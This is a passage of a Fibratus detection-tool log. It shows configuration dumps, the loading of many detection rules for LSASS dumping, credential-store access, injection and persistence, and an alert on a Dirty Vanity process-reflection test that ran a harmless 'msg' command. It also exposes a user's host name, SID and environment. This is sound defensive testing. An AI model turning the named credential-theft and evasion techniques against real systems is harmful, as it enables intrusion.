skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-registry=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:51:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:51:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:52:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:52:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:52:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:52:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-12T19:52:11+01:00 level=info msg=bootstrapping with pid 16516. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:52:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 enabled=>false to=>[] use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false stack-enrichment=>true min-buffers=>16 enable-threadpool=>false enable-audit-api=>true enable-net=>true enable-thread=>true enable-registry=>true enable-image=>true enable-vamap=>true enable-fileio=>true flush-interval=>1s enable-dns=>false buffer-size=>512 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ trace-log=>false healthcheck-interval=>10s template-name=>fibratus sniff=>false enabled=>false timeout=>5s healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 gzip-compression=>false index-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200]] amqp=>[ durable=>false url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus routing-key=>fibratus enabled=>false exchange-type=>topic delivery-mode=>transient passive=>false] http=>[ endpoints=>[] enable-gzip=>false enabled=>false serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-mmaps=>false skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-procs=>[] skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:52:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:52:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:56:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:56:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:56:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:57:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_via_reflected_process.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:57:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:57:19+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T19:57:19+01:00 level=info msg=bootstrapping with pid 3632. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:57:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-threadpool=>false buffer-size=>512 min-buffers=>16 enable-vamap=>true enable-net=>true enable-fileio=>true max-buffers=>36 enable-image=>true enable-thread=>true enable-mem=>false enable-handle=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-dns=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 max-backups=>15 max-age=>0 level=>info] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus routing-key=>fibratus enabled=>false delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s passive=>false durable=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] elasticsearch=>[ sniff=>false flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s enabled=>false timeout=>5s trace-log=>false index-name=>fibratus healthcheck=>true] http=>[ timeout=>5s enabled=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST serializer=>json enable-gzip=>false]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] skip-files=>false scan-timeout=>10s fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false enabled=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:57:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:57:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:58:03+01:00 level=info msg=sending alert: [Suspicious child spawned via reflected process]. Text: Event(s): + Seq: 4474218 + Pid: 9748 + Tid: 19928 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 19:58:02.4887116 +0100 CET + Params: cmdline➜ "C:\WINDOWS\regedit.exe" , directory_table_base➜ 403f88000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\regedit.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506fbfcb080, name➜ regedit.exe, pid➜ 7412, ppid➜ 9748, real_ppid➜ 9748, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 19:58:02.4886404 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 6129962258626772992, rule.name: Suspicious child spawned via reflected process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 9748 + Ppid: 4496 + Name: regedit.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4474372 + Pid: 7412 + Tid: 3208 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 19:58:02.4981576 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 2dc629000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506eed10080, name➜ cmd.exe, pid➜ 16284, ppid➜ 7412, real_ppid➜ 7412, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 19:58:02.4980266 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: Suspicious child spawned via reflected process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 6129962258626772992 + + Pid: 7412 + Ppid: 9748 + Name: regedit.exe + Parent name: regedit.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: "C:\WINDOWS\regedit.exe" + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 